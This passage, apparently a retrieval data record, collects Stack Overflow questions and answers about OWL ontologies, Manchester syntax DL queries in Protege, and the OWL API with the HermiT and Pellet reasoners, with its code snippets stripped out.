Pizza and hasTopping some CheeseTopping SuperClasses NONE EquivalentClasses NONE SubClasses NONE Instances NONE", "By giving the query as you suggested I am getting a syntax-error and it expects a Datatype name not or in-place of .", "It does not impose any constraint that every other individual related by the hasChild is an X just that at least one is .", "The cases that involve hasChild some A and B are unsatisfiable because there are no A and B s for anything to be related to .", "OWL API now provides a documentation regarding this problem : github.com owlcs owlapi wiki DL-Queries-with-a-real-reasoner https : github.com owlcs owlapi wiki DL-Queries-with-a-real-reasoner", "So due to the open world assumption and the theoretical existence of wild inaccurate and irrelevant assertions at least from your perspective the DL query will fail since it can only infer statements it can prove are true .", "I m dealing with OWL API Example DL query : http : sourceforge.net p owlapi code ci aef6981535f07a2d0d44c394b9f4d5415f36025a tree contract src test java org coode owlapi examples DLQueryExample.java .", "hasChild some A and hasChild exactly 1 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to at least one individual of type A and that are related to exactly one other individual by the hasChild property and by the left side that one individual must be that individual of type A .", "hasChild some A and hasChild exactly 2 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to at least one individual of type A and that are related to exactly two individuals by the hasChild property and by the left side one of these individuals must that individual of type A .", "hasChild only A and hasChild exactly 1 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property only to individuals of type A and that are related to exactly one other individual by the hasChild property and by the left side that one individual must be of type A .", "hasChild only A and hasChild exactly 2 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to some individual of type A and that are related to exactly two individuals by the hasChild property and by the left side both of these individuals must that individual of type A .", "If the year is stored as value on which datatype facets are supported you can do this with a DL query like : .. . .. . Person and hasDeathYear some xsd : int 2016 .. . .. . Some of these questions and answers have more examples : .. . .. . Defining Protege class with expression of numerical data http : stackoverflow.com questions 29228328 defining-protege-class-with-expression-of-numerical-data .. . Encoding mathematical properties in RDF http : stackoverflow.com questions 24134785 encoding-mathematical-properties-in-rdf .. . How to express numeric intervals in datatype property in the ontology", "Existential or SomeValuesFrom Restrictions .. . .. . The expression hasChild some X denotes the class of individuals which are related to at least one other individual that is an X by the hasChild property .", "Second Point : For such query what are the considered types of property restriction that the reasoner will consider when trying to answer the query", "I m not sure whether or not the query above could be answered or not it would depend on the particular reasoner but you haven t mentioned a particular one that you want to use .", "Exact Cardinality Restrictions .. . .. . The restrictions hasChild exactly 1 Thing and hasChild exactly 2 Thing denote the classes of individuals which are related to exactly one or two other individuals by the hasChild property respectively .", "Universal or AllValuesFrom Restrictions .. . .. . The expression hasChild only X denotes the class of individuals which are such that if they are related to any other individual by the hasChild property then the other individual is an instant of X .", "There are two such cases : .. . .. . The combination of only A and B and exactly n is unsatisfiable since as long as n is not 0 it says that an individual must be related to exactly n things and that each of those n things must be an A and B of which there can be none .", "Sorry for the late response but I am battling with my last query : stackoverflow.com questions 35785868 http : stackoverflow.com questions 35785868 find-people-that-have-children-that-have-an-age-difference-of-at-least-10-years", "Are you asking for S and D such that each s in S for each object property p is related to exactly one d in D", "Or are you asking for S and D such that each s in S is related to exactly one D period .", "ManchesterOWLSyntaxObjectRenderer and ManchesterOWLSyntaxEditorParser are the classes to use in that case .", "Can someone help me", "Hier the bit code : .. . .. . Thank you", "Eh that is rather question for hardware engineers than programmers .", "Or do you want let s say to implement it in VHDL", "ohhh sorry i don t want to implemet int.... . just to know how to make the translation .", "where should i ask my question", "en.wikipedia.org wiki Manchester code http : en.wikipedia.org wiki Manchester code this describes it pretty well", "Thx i get it :", "enter image description here http : i.stack.imgur.com e5tqC.png .. . .. . How is it possible to use enumerations for this need", "For instance you might be able to use a reasoner that supports SPARQL queries and write the template of the class expression with variables .", "I am developing an ontology and I have a problem with my Dl query .. . .. . there is a class called flower .. . .. . and this class has subclasses which are some flowers names .. . .. . and also there is another class called flowersColor .. . .. . and it has these values red green and blue as individuals-not subclass- .. . .. . every flower has one color or more .. . .. . I want to search for a flower that has red color and only red .. . .. . my DL Query is : .. . .. . flower and hasColor value red .. . .. . this query will give me all flowers that has the color red even if it has other colors .. . .. . however I want all flowers that has ONLY the color red .. . .. . I want to write something like this .. . .. . flower and hasColor only value red - this is not correct grammatically .. . .. . I main if the color has a combination of red and green then I don t want to see it in my result .. . .. . I hope you can help me in my query .. . .. . Thanks", "Link to the problematic DL query example is now : github.com owlcs owlapi blob version3 contract src test java https : github.com owlcs owlapi blob version3 contract src test java org coode owlapi examples DLQueryExample.java", "QED .. . .. . An OWL DL reasoner should be able to confirm this and it shouldn t be hard to check .", "Sec.5.1 says that IRIs from the reserved vocabulary other than owl : Thing and owl : Nothing MUST NOT be used to identify classes in an OWL 2 DL ontology .", "The query that you are after is : .. . .. . Note that the .", "You will now use Hermit to process your queries .", "This means that the result-of this query will not simply be a list of all super or sub classes of all the individuals you have named in your query .", "So I tried the following query : .. . .. . Person and mbox sha1sum value mbox sha1sum-property-value-here .. . .. . However it doesn t even execute this query because it feels the query is incorrect .", "can my query be expressed in such a way that is acceptable for Pellet", "It s not meant for inexperienced users to just drop in their applications and use .", "So you can use it everywhere where a class is syntactically required e.g .", "You need to use a different reasoner than the default one .", "Unless you want to use an OWL reasoner in which case you can t use the RDF vocabulary terms because they re used in the RDF XML serialization of OWL .", "Then again if you did that you probably wouldn t need the query in the first place .", "The problem : I can t find a way to query an instance by its unique identifier .", "This is related to stackoverflow.com questions 25967784 http : stackoverflow.com questions 25967784 qcrs-vs-functional-property where an example shows that using exactly 1 rather than functional is harder for current reasoners .", "Ithink since of the linked questions probably showed that .", "I know this question has been posted more than a year ago but I recently asked me the same question and found the following solution : .. . .. . Just put the name of the individual member you want to query for in curly-brackets : .. . .. . This way you can even query for more than one individual at a time : .. . .. . Please note that these queries form class expressions of so called enumarated classes http : www.w3.org TR owl2-syntax Enumeration of Individuals .", "I want starting form a source class S to retrieve all destination classes D where S is related to Ds by means of to-one cardinality through objectProperty i.e S 0. . - 1 D despite what is the connecting objectProperty .", "In other words at the beginning I only have one class S at hand and I want to find all the classes Di related to S by an objectProperty pi where S is the property domain Di is property range and S subClassOf pi exactly 1 D .", "@AKSW I tried to use ManchesterOWLSyntaxParser to convert my readable string into axiom and ManchesterOWLSyntaxObjectRenderer used to represent axiom into readable string .", "Either use Protege 5 beta 17 or wait for the next beta for this to work properly .", "How to fix it : .. . .. . Use a more advanced reasoner like Hermit http : hermit-reasoner.com .", "I don t know if it s possible to not use the incremental feature in Pellet from Protege .", "Say you state : .. . .. . The following questions are answered in the following way by an OWL reasoner .", "The reason why the 2nd query does not work is Open World Assumption and possibly also the lack of Unique Name Assumption .", "Your person must not have more than three children query bumps into this issue .", "So your query as Kaarel mentions could be : .. . .. . Yet this is unprovable in the open world assumption .", "However your example query can be used in an OWL restriction to determine if something is not something else .", "It does execute this query : .. . .. . Person and firstName value Andrew .. . .. . All data properties are not specialised data types .", "Thus you could query select p where x p y and get a list of properties relating x and y .", "Looking at how few views your recent questions have received on Stack Overflow I d say it s better to ask these questions on the Protege mailing list for the time being .", "I have a sensor class Input class which is the subclass of Process class and a SensingData class .", "I want to associate the Input class to the sensing data class saying that input is the sensing data .", "can i do it by creating an object property hasData like inupt hasData SensingData", "You can create hasData as an object property with domain Input and range SensingData .", "no i have process class which has two sub classes input and output and sensing data and sensor is a different class ." ] }
{ "confidence": [ 49.737152099609375, 42.89270782470703, 40.859615325927734, 39.093238830566406, 34.3096923828125, 32.792236328125, 32.4105110168457, 31.955814361572266, 30.244306564331055, 30.242828369140625, 29.983867645263672, 26.129161834716797, 24.33905792236328, 23.928693771362305, 21.46445083618164, 20.282363891601562, 19.45608901977539, 18.06228256225586, 16.074058532714844, 14.4713134765625 ], "content": [ "Question : I have OWL ontology Protege 5 . I want starting form a source class S to retrieve all destination classes D where S is related to Ds by means of to-one cardinality through objectProperty i.e S 0. . - 1 D despite what is the connecting objectProperty . In DL it would be something similar to : .. . .. . where S is my source concept D is a variable concept and r is a variable objectProperty . First Point : How to express this in Manchester Syntax to use it in Protege DL query Second Point : For such query what are the considered types of property restriction that the reasoner will consider when trying to answer the query e.g cardinality restriction functional properties someValuesFrom allValuesFrom Thanks . Comment : I posted an answer but realized that I may have misunderstood the scope of your variables a bit . Are you asking for S and D such that each s in S for each object property p is related to exactly one d in D Or are you asking for S and D such that each s in S is related to exactly one D period . E.g . you could have 1 p.D and 1 q.D but then some s might be such that p s d1 and q s d2 . Then s would be related to two D s . Is that OK I think you can only get the first because owl : topObjectProperty relates every pair of individuals so in OWL every pair is connected . Comment : Actually I m only considering TBOX I have no individuals in my OWL . What I exactly want is : having a class S at hand constant I want to find all the classes Class1 Class2 Class3.. . that are S 1p : Class1 S 1q : Class2 S 1r : Class3.. . where S is defined as the domain for each of p q r and Class1 Class2 Class3 are their ranges respectively . In other words at the beginning I only have one class S at hand and I want to find all the classes Di related to S by an objectProperty pi where S is the property domain Di is property range and S subClassOf pi exactly 1 D . Comment : Having 1 p.D and 1 q.D is OK . .. . Answer : You can t write the kind of query that you re asking about in the DL query syntax . The DL query syntax doesn t have any place for variables all you can write are class expressions after which you can ask for the individuals in that class or subclasses or superclasses of the class . So the answer to the first question is that you can t express your query in the Manchester syntax . For the second point there may be reasoners that can help you draw a conclusion here . For instance you might be able to use a reasoner that supports SPARQL queries and write the template of the class expression with variables . You d end up with something like this but this is untested : .. . .. . I don t know whether or not most OWL reasoners will be able to handle that though . As mentioned above the typical task for an OWL reasoner is to look at class expression and determine its subclasses and superclasses . This is getting more complicated .", "Question : I know this sounds like a very stupid question but I ve been trying to figure this out and I can t find anything on this though it seems obvious that this should be doable . I m developing something that queries an OWL file through its API using the Manchester OWL Syntax and a HermiT reasoner . I alternatively also run queries on the DL Query tab in Protege 4 to check my query results on that file . The file is basically the Friend Of A Friend FOAF ontology with added data instances . The problem : I can t find a way to query an instance by its unique identifier . It s supposed to be the URI so e.g . for a Person object with URI http : xmlns.com foaf 0.1 Andrew Kuchling I tried to run the following queries : .. . .. . Person and URI value http : xmlns.com foaf 0.1 Andrew Kuchling .. . .. . Person value http : xmlns.com foaf 0.1 Andrew Kuchling .. . .. . Person and URI value Andrew Kuchling .. . .. . Person that Andrew Kuchling .. . .. . none of these work . The URI is constructed by prefixing http : xmlns.com foaf 0.1 to whatever string you enter and URI is not actually identified in the ontology as a property . In FOAF mbox sha1sum is the sha1sum of a mailbox . Mailboxes are uniquely connected to individuals . So I tried the following query : .. . .. . Person and mbox sha1sum value mbox sha1sum-property-value-here .. . .. . However it doesn t even execute this query because it feels the query is incorrect . The mbox sha1sum value is the same that I ve added for this Person . It exists in Individuals . It does execute this query : .. . .. . Person and firstName value Andrew .. . .. . All data properties are not specialised data types . Treated as literals by default . I really don t know what I m doing wrong . Can someone please please help Comment : Accept the answer .. . Answer : I know this question has been posted more than a year ago but I recently asked me the same question and found the following solution : .. . .. . Just put the name of the individual member you want to query for in curly-brackets : .. . .. . This way you can even query for more than one individual at a time : .. . .. . Please note that these queries form class expressions of so called enumarated classes http : www.w3.org TR owl2-syntax Enumeration of Individuals . This means that the result-of this query will not simply be a list of all super or sub classes of all the individuals you have named in your query . Instead it refers to an anonymous-class that consists of exactly the individuals you have listed . An anonymous-class is a class that isn t available from outside of your ontology because there is no referrable owl entity for this class no IRI to refer to . You can find more information on the OWL Manchester Syntax in the offcial W3C specification http : www.w3.org TR owl2-manchester-syntax . Comment : God bless you That works .", "Question : I am a newbie coding with the Manchester syntax for OWL http : www.w3.org TR owl2-manchester-syntax . I need to understand the role of exactly . Which of these restrictions is correct : .. . .. . Can you explain it when A and B are equivalent and when they are disjoint Comment : The W3C working note on Manchester syntax doesn t have a production for objectproperty class in its section on class descriptions http : www.w3.org TR owl2-manchester-syntax Descriptions . Is hasChild A or B supposed to be hasChild some A or B or hasChild only A or B or something else Similarly for the expressions involving A and B .. . Answer : The meaning of class expressions is defined in section 2.2.3 Class Expressions http : www.w3.org TR 2012 REC-owl2-direct-semantics-20121211 Class Expressions of the OWL 2 Web Ontology Language Direct Semantics W3C recommendation . The four class expressions given in the question aren t quite well formed as I understand the Manchester OWL syntax as hasChild A or and B really needs to be hasChild some only A or and B . That said we can still discuss the meaning of the various combinations . Exact Cardinality Restrictions .. . .. . The restrictions hasChild exactly 1 Thing and hasChild exactly 2 Thing denote the classes of individuals which are related to exactly one or two other individuals by the hasChild property respectively . Since the class expression in the restriction is Thing it is probably more common to see the versions without a class : hasChild exactly 1 and hasChild exactly 2 . Universal or AllValuesFrom Restrictions .. . .. . The expression hasChild only X denotes the class of individuals which are such that if they are related to any other individual by the hasChild property then the other individual is an instant of X . It does not impose any constraint there are such individuals but only that if there are any then they must be X s . Existential or SomeValuesFrom Restrictions .. . .. . The expression hasChild some X denotes the class of individuals which are related to at least one other individual that is an X by the hasChild property . It does not impose any constraint that every other individual related by the hasChild is an X just that at least one is . The meaning of the expressions .. . .. . The class expressions in the problem aren t well formed at the moment and should either be hasChild some A or and B or hasChild only A or and B . This means that there are a number of cases to consider but fortunately some of them condense down . If A and B are equivalent .. . .. . If A and B are equivalent then both A or B and A and B are equivalent to A and to B . This means that the expressions in the question can be simplified into two cases depending on whether the restriction on the left hand side should be some or only . hasChild some A and hasChild exactly 1 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to at least one individual of type A and that are related to exactly one other individual by the hasChild property and by the left side that one individual must be that individual of type A . hasChild some A and hasChild exactly 2 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to at least one individual of type A and that are related to exactly two individuals by the hasChild property and by the left side one of these individuals must that individual of type A . hasChild only A and hasChild exactly 1 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property only to individuals of type A and that are related to exactly one other individual by the hasChild property and by the left side that one individual must be of type A . hasChild only A and hasChild exactly 2 Thing .. . This class expression denotes the class of individuals which are related by the hasChild property to some individual of type A and that are related to exactly two individuals by the hasChild property and by the left side both of these individuals must that individual of type A . If A and B are disjoint .. . .. . If A and B are disjoint then the class expression A and B denotes the empty class since nothing can be both an A and a B . That means that that four of the cases are unsatisfiable . The cases that involve hasChild some A and B are unsatisfiable because there are no A and B s for anything to be related to . There are two such cases : .. . .. . The combination of only A and B and exactly n is unsatisfiable since as long as n is not 0 it says that an individual must be related to exactly n things and that each of those n things must be an A and B of which there can be none . There are two such cases : .. . .. . The remaining cases are all fairly straightforward given the meaning of some and only . Though there are four class expressions there are only two distinct classes . This is the class of things that have exactly one child which must be an A or a B . This is the class of things that have exactly two children each of which must be an A or a B . Comment : Thks a lot : perfectly explained .", "Question : I m using OWL API for reasoning over ontology created in Protege . I m dealing with OWL API Example DL query : http : sourceforge.net p owlapi code ci aef6981535f07a2d0d44c394b9f4d5415f36025a tree contract src test java org coode owlapi examples DLQueryExample.java . I guess that this example provides functionality equivalent to DL Query Tab in Protege . But in fact there are some significant differences : I need to get the information subclass superclass etc . of an anonymous-class which is defined by a set of individuals ex Member1 Member2.. . or in another way . In Protege this query returns correct result but such query in OWL API Dl Query Example returns NOTHING . Is there a way to manipulate anonymous classes in OWL API Thanks in advance for answering . Comment : The DLQueryExample should handle anonymous-class expressions as input just like in Protege . Could you precise the exact expression you ve used as well as including a snippet or link-to the ontology you re using Comment : @loopasam thanks for the answer . I tried on the Pizza sample : co-ode.org ontologies pizza pizza.owl http : www.co-ode.org ontologies pizza pizza.owl . The query is simple : Pizza and hasTopping some CheeseTopping the result is : Loaded ontology : OntologyID OntologyIRI co-ode.org ontologies pizza http : www.co-ode.org ontologies pizza pizza.owl Please type a class expression in Manchester Syntax and press Enter or press x to exit : Pizza and hasTopping some CheeseTopping QUERY : Pizza and hasTopping some CheeseTopping SuperClasses NONE EquivalentClasses NONE SubClasses NONE Instances NONE Comment : Link to the problematic DL query example is now : github.com owlcs owlapi blob version3 contract src test java https : github.com owlcs owlapi blob version3 contract src test java org coode owlapi examples DLQueryExample.java .. . Answer : Assuming you are using the class http : sourceforge.net p owlapi code ci aef6981535f07a2d0d44c394b9f4d5415f36025a tree contract src test java org coode owlapi examples DLQueryExample.java DLQueryExample as such without modifications . You need to use a different reasoner than the default one . Look at line 151 the implementation uses the structural reasoner built-in the OWL-API . This reasoner is limited and not capable of processing complex class expressions as yours . How to fix it : .. . .. . Use a more advanced reasoner like Hermit http : hermit-reasoner.com . Download and put the jar on your classpath then replace the code at line 151 by that : .. . .. . OWLReasonerFactory reasonerFactory new Reasoner.ReasonerFactory .. . .. . You will need to import the package org.semanticweb.HermiT.Reasoner . You will now use Hermit to process your queries . Try Pizza and hasTopping some CheeseTopping it should work Comment : Thanks a lot Now it works You have saved me Comment : OWL API now provides a documentation regarding this problem : github.com owlcs owlapi wiki DL-Queries-with-a-real-reasoner https : github.com owlcs owlapi wiki DL-Queries-with-a-real-reasoner", "Question : null .. . Answer : i want to know how to translate a bit code into manchester code . Can someone help me Hier the bit code : .. . .. . Thank you Comment : Eh that is rather question for hardware engineers than programmers . Or do you want let s say to implement it in VHDL Comment : ohhh sorry i don t want to implemet int.... . just to know how to make the translation . where should i ask my question Comment : en.wikipedia.org wiki Manchester code http : en.wikipedia.org wiki Manchester code this describes it pretty well Comment : Thx i get it :", "Question : I have owl file containing some axioms : .. . .. . For above two axioms protege shows readable string as : .. . .. . The question is how protege generates these readable strings from OWL file Also if I want to create new axiom from these strings how to do that converting axiom to readable string and then convert readable string to axiom back .. . Answer : The readable format you show is Manchester OWL syntax . In order to output an ontology in this format you can use owl-api code : .. . .. . Parsing a full ontology in Manchester syntax format happens like any other ontology : ontologyManager.loadOntologyFromOntologyDocument with an input file . Parsing single axioms is possible but much harder because the format relies on prefixes set once for a whole ontology so a lot of setup code is required . I would not recommend doing that as a starter project . Comment : The above code works fine for whole ontology . but is there any way to handle each axioms separately Also how to convert the readable string to axiom so that I can update it into OWL file Comment : ManchesterOWLSyntaxObjectRenderer and ManchesterOWLSyntaxEditorParser are the classes to use in that case . Comment : True . The parser won t deal with single axioms without a lot of setup though as I mentioned . It s not meant for inexperienced users to just drop in their applications and use . Comment : @AKSW I tried to use ManchesterOWLSyntaxParser to convert my readable string into axiom and ManchesterOWLSyntaxObjectRenderer used to represent axiom into readable string . it works thanks .", "Question : If A isRelatedTo B and B has the dataproperty : existence true false .. . .. . how can I express in manchester owl syntax for protege the subset where : is type A and every isRelatedTo of A has the value true Comment : I don t understand how B is involved in the expression and how the property existence is used . If they are important in your question can you clarify how they interact .. . Answer : I think what you re asking is how to write the class expression for the class whose members have type A and all of whose values for the isRelatedTo property is true xsd : boolean . That s simple enough : .. . .. . A and isRelatedTo only true .. . .. . In Prot g it looks like this : .. . .. . A and isRelatedTo only true in the Prot g class expression editor http : i.stack.imgur.com RpjbQ.png", "Question : null .. . Answer : I have OWL ontology without individuals . Given two classes .. . .. . and .. . .. . How will the query look like an what type of reasoners can be used to find all the property chains such that : .. . .. . Where Cs is the domain of PropertyP and Cd is its range . Chain means that this inference must be transitive i.e . if .. . .. . then PropertyP1 PropertyP2 must be considered a property chain between Cs and Cd . Please note that I m not talking about property chain such that one in OWL2 because in the case of OWL2 I have to define this chain previously while in my case I cannot do so . Comment : No you can t . The DL Query pane lets you enter a class epxression can get back superclasses and subclasses of that class and individuals belonging to it . You can t use the DL Query pane to get a list of properties . Comment : Then you mean that this task cannot be completed using a reasoner I have to enjoy some coding to perform it Comment : A reasoner might be able to help you with this but reasoners may be able to do more than what you can do in the DL Query pane . Comment : Thanks . You say but reasoners may be able to do more than what you can do in the DL Query pane . That seems interesting for me I have two points please : 1- How can this MORE be done in a way other than DL-Query pane I only know this way DL Query to ask the reasoner for some inferences . 2- Can my question above be answered using reasoner disregarding that DL Query pane can t be used 3- Please put your comments as answers in order to tick it as solution . Thanks Comment : For instance Pellet s command-line tools come bundled with Jena and you can run SPARQL queries against an ontology . Thus you could query select p where x p y and get a list of properties relating x and y . You can t do that with the DL query pane . That means working outside of Protege though . I m not sure whether or not the query above could be answered or not it would depend on the particular reasoner but you haven t mentioned a particular one that you want to use . I haven t posted any of these as answers yet because these aren t really answers to the question as", "Question : I am developing an ontology and I have a problem with my Dl query .. . .. . there is a class called flower .. . .. . and this class has subclasses which are some flowers names .. . .. . and also there is another class called flowersColor .. . .. . and it has these values red green and blue as individuals-not subclass- .. . .. . every flower has one color or more .. . .. . I want to search for a flower that has red color and only red .. . .. . my DL Query is : .. . .. . flower and hasColor value red .. . .. . this query will give me all flowers that has the color red even if it has other colors .. . .. . however I want all flowers that has ONLY the color red .. . .. . I want to write something like this .. . .. . flower and hasColor only value red - this is not correct grammatically .. . .. . I main if the color has a combination of red and green then I don t want to see it in my result .. . .. . I hope you can help me in my query .. . .. . Thanks .. . Answer : Remember that OWL uses the open world assumption so you are somewhat limited in what can be inferred via description logic . So your query as Kaarel mentions could be : .. . .. . Yet this is unprovable in the open world assumption . There could be statement somewhere in the universe which asserts : .. . .. . Which when combined with your assertions which you re trying to query : .. . .. . Will cause the DL query to return no results . So due to the open world assumption and the theoretical existence of wild inaccurate and irrelevant assertions at least from your perspective the DL query will fail since it can only infer statements it can prove are true . However your example query can be used in an OWL restriction to determine if something is not something else . As an example if you have a class : OnlyRedFlower which must only have the color red but it has the color blue you ve asserted this additional color then you can infer that this new flower is not in the set of : OnlyRedFlower . Update : For those that are interested in trying this themselves here s the ontology I created based on this question :", "Question : I am developing an ontology and I have a problem with my Dl query .. . .. . there is a class called flower .. . .. . and this class has subclasses which are some flowers names .. . .. . and also there is another class called flowersColor .. . .. . and it has these values red green and blue as individuals-not subclass- .. . .. . every flower has one color or more .. . .. . I want to search for a flower that has red color and only red .. . .. . my DL Query is : .. . .. . flower and hasColor value red .. . .. . this query will give me all flowers that has the color red even if it has other colors .. . .. . however I want all flowers that has ONLY the color red .. . .. . I want to write something like this .. . .. . flower and hasColor only value red - this is not correct grammatically .. . .. . I main if the color has a combination of red and green then I don t want to see it in my result .. . .. . I hope you can help me in my query .. . .. . Thanks .. . Answer : The query that you are after is : .. . .. . Note that the . constructor creates a class from an individual or a list of individuals . So you can use it everywhere where a class is syntactically required e.g .", "Question : I have an ontology where Person is a class and hasDeathYear is a data property . I have to express the title in a DL query . I can ask this : .. . .. . Person and hasDeathYear value 2016 .. . .. . but I cannot ask something like this : .. . .. . Person and hasDeathYear min 2016 .. . .. . where-in place of min I would actually like to express less than . How to do it Is it possible A negative answer would also suffice for me . .. . Answer : If the year is stored as value on which datatype facets are supported you can do this with a DL query like : .. . .. . Person and hasDeathYear some xsd : int 2016 .. . .. . Some of these questions and answers have more examples : .. . .. . Defining Protege class with expression of numerical data http : stackoverflow.com questions 29228328 defining-protege-class-with-expression-of-numerical-data .. . Encoding mathematical properties in RDF http : stackoverflow.com questions 24134785 encoding-mathematical-properties-in-rdf .. . How to express numeric intervals in datatype property in the ontology http : stackoverflow.com questions 23489916 how-to-express-numeric-intervals-in-datatype-property-in-the-ontology Comment : No the year is not stored . Can you expand on this please By giving the query as you suggested I am getting a syntax-error and it expects a Datatype name not or in-place of . Comment : @gsamaras Sorry it should be xsd : int 2016 . Ithink since of the linked questions probably showed that . I m not sure what you mean by the year is not stored . What s your data actually look like Comment : If you were a pomekon you would be Alakazam thanks I meant that I hadn t store somewhere the year 2016 thanks JT Comment : @gsamaras if you don t have the year values stored as numbers somewhere then this approach won t work . You accepted it though so I assume it worked for you so I guess you do have years stored as numbers Comment : Oh sorry yes of course . Sorry for the late response but I am battling with my last query : stackoverflow.com questions 35785868 http : stackoverflow.com questions 35785868 find-people-that-have-children-that-have-an-age-difference-of-at-least-10-years", "Question : I have an OWL ontology http : www.lsi.upc.edu 20oromero EUCarRental.owl in Protege 5 . When trying to ask some DL queries .. . .. . This should return all classes that are related by means of exactly to-one cardinality by objectProperty DropOff . Using Pellet reasoner an exception raises This reasoner doesn t support named classes . While when using Hermit reasoner things are OK . I know that a named class is a class with a referent URL . Here are my points : .. . .. . What is the semantic behind using un named classes Why named classes are not supported in Pellet can my query be expressed in such a way that is acceptable for Pellet Thanks . Comment : are you actually putting the the semicolon there Comment : No of course I m not . Sorry I put it in the question by mistake . I edited the question : Comment : Can you confirm whether the exact message is This reasoner doesn t support named classes or This reasoner only supports named classes Comment : This reasoner only supports named classes . .. . Answer : The error in Pellet might be misreported . I have only managed to find the sentence This reasoner only supports named classes in the Pellet source code in the IncrementalClassifier.java file . This exception is thrown if the incremental reasoning mode is used and queries like find all equivalent classes for this class are run - e.g . DropOff exactly 1 is an anonymous-class expression that Pellet incremental does not support . I don t know if it s possible to not use the incremental feature in Pellet from Protege . If this behaviour is not configurable then the only workaround would be to modify the Pellet plugin to not work incrementally . This would affect performances for other queries though . Comment : That was exactly the problem . The exception is This reasoner only supports named classes as you said in the above comment and I was using the incremental Pellet . With a little work around I reinstalled another Pellet plug-in . with the non-incremental mode things are OK . Thanks .", "Question : In OWL this query works fine .. . .. . it works fine and it gives me all persons who have more than 3 children .. . .. . but this one does not work .. . .. . it should give me all persons who have less than 3 children however it does not work .. . .. . does any one have an idea about this why min works while max does not give any results Thanks Comment : typo : more than 3 - 3 or more Comment : typo : less than 3 - less than 4 .. . Answer : The reason why the 2nd query does not work is Open World Assumption and possibly also the lack of Unique Name Assumption . Say you state : .. . .. . The following questions are answered in the following way by an OWL reasoner . Whenever the OWL reasoner comes back with a Maybe the user-interface such as Protege tends to show nothing . In order to get the answers that you probably want you need to add a lot more information to the knowledge base e.g . Hope this helps . Looking at how few views your recent questions have received on Stack Overflow I d say it s better to ask these questions on the Protege mailing list for the time being . Or even better look at the mailing list archives . The Open World Assumption related questions come up at least once a week there .", "Question : I am currently developing an ontology using protege and would like to determine if a node is a last one of a list . So basically a list points to a node and every node has some content and can have another node : .. . .. . List startsWith some Node .. . .. . Node hasContent some Content .. . .. . Node hasNext some Node .. . .. . Now I d like to define a subclass named EndNode that doesn t point to another Node . This is what I ve tried so far but the after classifying EndNode always equals Nothing : .. . .. . Node and not hasNext some Node .. . .. . Node and hasNext exactly 0 Node .. . Answer : First there is a built-in List construct in RDF which you can use in the following way : .. . .. . Here in order to know you reach the end of the list you need a special list called rdf : nil . This plays the same role as a null-pointer at the end of a linked-list in programming-languages . However even though rdf : List is well used in existing data on the Web it doesn t constrain in any way the use of the predicates rdf : first and rdf : rest so you can have many first elements for a given list without triggering an inconsistency . So if you really want to model linked-list in a strict way you need pretty expressive features of OWL . I did it a while ago and it can be found at http : purl.org az List . It s normal that you have an empty class as you specified that a Node must have a nextNode . You should not impose that Nodes have content or next element . You should rather say that the cardinality is maximum 1 that the domain and range of hasNext is Node and that EndNode is a node with no next node . But it s still not enough as it does not impose that there is an EndNode at all . You may have an infinite sequence or a loop . If you want to avoid loops or infinite sequence you have to define the transitive property hasFollower and say that there is at least a follower in the class EndNode . All in all implementing strict lists in OWL completely sucks in term of performance and is most of the time totally useless as rdf : List is sufficient for the wide majority of the situations . Comment : rdf : List is sufficient for the wide majority of the situations . Unless you want to use an OWL reasoner in which case you can t use the RDF vocabulary terms because they re used in the RDF XML serialization of OWL . : Comment : Joshua not really a problem for reasoners that I know . I just tried making an ontology with rdf : List used as an OWL class and the reasoners HermiT and FacT++ in this case did not complain . Comment : Agreed but it is important to note that strictly speaking it s disallowed in OWL1 http : www.w3.org TR owl-semantics mapping.html 4.2 . Offhand though I can t find corresponding text for OWL2 . Is it allowed in OWL2 Comment : It s not allowed in OWL 2 DL . Sec.2.4 of the structural spec defines the reserved vocabulary as any IRI with prefix in the namespaces of rdf rdfs owl or xsd . Sec.5.1 says that IRIs from the reserved vocabulary other than owl : Thing and owl : Nothing MUST NOT be used to identify classes in an OWL 2 DL ontology . Thus rdf : List cannot be used as a class in OWL 2 DL . But OWL reasoners other OWL processors are able to deal with more liberal OWL ontologies . Only few existing RDF documents online make OWL processors collapse although most of them are not conforming to the OWL spec . Comment : OK I thought it was in there somewhere . Thanks for the reference", "Question : In an OWL-DL ontology consider a property p with domain D and range R where D has a restriction over p to have cardinality of exactly one : .. . .. . D SubClassOf p exactly 1 Thing .. . .. . D sqsubseteq 1 p.Thing .. . .. . Can we then infer that p is a functional property since each d of type D will have exactly one value for p If this is correct can a reasoner infer this knowledge Comment : It would depend on the domain definition on P . If the domain of P is D then i guess it would be functional . Otherwise the proposed inference wouldn t be correct . If the domain is D union Q then there could be Q s that had multiple P associated to them . Comment : @DanielGarijo As stated in the question consider a property P with Domain D . So in this case D is a domain of P . .. . Answer : In OWL a property is function when each individual has at most one value for the property . That at most is important it is permitted for something to have no value for the property . That means that a functional property in OWL is actually more like a possibly partial function in mathematics . That said if every individual has a exactly one value for a property then it clearly has at most one value for the property so the property would as you suspect be functional . We can walk though a specific case though to be sure that this is general and because we need to make sure that the property p here actually has at most one value for every individual . Proof : Suppose the property p has domain D and D is a subclass of 1 p . Thing so that every D has exactly one p-value . Is it the case that every individual x has at most one value for p There are two cases to consider : .. . .. . 1 . x is a D . Then by the subclass axiom with the restriction x must have exactly one value for p and one is less than or equal to one . 2 . x is not a D . Then x has no values for p . If it did then it would be in the domain of p which is D and that is a contradiction . Then x has zero values for p and zero is less than or equal to one . .. . Then any individual x at most one value for the property p which is the definition of p being functional . Thus p is functional . QED .. . .. . An OWL DL reasoner should be able to confirm this and it shouldn t be hard to check . Comment : Just to support @JoshuaTaylor s answer there is a relevant section in the W3C spec http : www.w3.org TR 2004 REC-owl-guide-20040210 simpleCardinality regarding the difference between cardinality and functional properties : .. . We specified hasVintageYear to be a functional property which is the same as saying that every Vintage has at most one VintageYear . This application of that property to Vintage using the cardinality restriction asserts something stronger that every Vintage has exactly one VintageYear . Comment : This is related to stackoverflow.com questions 25967784 http : stackoverflow.com questions 25967784 qcrs-vs-functional-property where an example shows that using exactly 1 rather than functional is harder for current reasoners . This is expected as having exactly one filler is a more stringent condition than having at most one filler .", "Question : I have a sensor class Input class which is the subclass of Process class and a SensingData class . I want to associate the Input class to the sensing data class saying that input is the sensing data . can i do 